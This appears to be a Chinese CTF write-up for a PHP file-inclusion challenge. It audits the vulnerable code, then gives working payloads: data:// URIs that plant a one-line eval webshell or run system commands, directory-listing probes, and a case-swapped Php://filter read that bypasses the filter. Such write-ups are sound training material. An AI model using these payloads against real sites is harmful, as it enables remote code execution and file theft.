攻防世界|Web_php_include|php协议|大小写绕过|命令执行|一句话木马|
首先代码审计

点击查看代码
<?php
// 使用show_source函数显示当前文件的源代码
// __FILE__是一个魔术常量,表示当前文件的完整路径和文件名
// 这行代码会将当前脚本的源代码输出到页面上
show_source(__FILE__);
// 输出GET请求中名为'hello'的参数值
// 直接输出用户输入,存在XSS(跨站脚本)攻击风险
echo $_GET['hello'];
// 从GET请求中获取名为'page'的参数值,用于后续文件包含
$page = $_GET['page'];
// 循环检测并替换$page中的"php://"字符串
// 目的是阻止使用php伪协议进行文件包含,但过滤方式存在缺陷
while (strstr($page, "php://")) {
// 将$page中的"php://"替换为空字符串
$page = str_replace("php://", "", $page);
}
// 包含$page变量指定的文件
// 由于未对$page进行严格验证,存在严重的文件包含漏洞
include($page);
?>
主要安全风险说明:
点击查看代码
文件包含漏洞(LFI):
include($page)直接使用用户可控的page参数,未进行严格验证
虽然尝试过滤php://协议,但可以通过多种方式绕过(如Php://、php: //等)
攻击者可利用此漏洞包含服务器上的任意文件(如/etc/passwd、配置文件等)
跨站脚本攻击(XSS):
echo $_GET['hello']直接输出用户输入,未做任何过滤
攻击者可构造?hello=<script>恶意代码</script>实施 XSS 攻击
信息泄露:
show_source(__FILE__)会将当前脚本源代码完全展示给用户
可能泄露服务器路径结构和程序逻辑,为攻击者提供便利
思路一
data协议上传一句话木马
payload: ?page=data://text/plain,<?php%20@eval($_POST[666]);%20?>

上传后蚁剑连接

得到flag
思路二
data伪协议代码执行
payload: ?page=data://text/plain,<?php system("ls")?>

出现了当前目录下的文件
payload: ?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?>
打开F12后看到flag

思路三
利用PHP命令查找路径
payload:?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>

得到当前路径为:
/var/www
payload:?page=data://text/plain,<?php print_r(scandir('27/var/www'));?>

返回指定目录中的文件和目录的数组
用php://filter 协议打开flag.php文件(注意大小写绕过)
payload:?page=Php://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

对得到数据base64解码即可得到flag

知识补充


浙公网安备 33010602011771号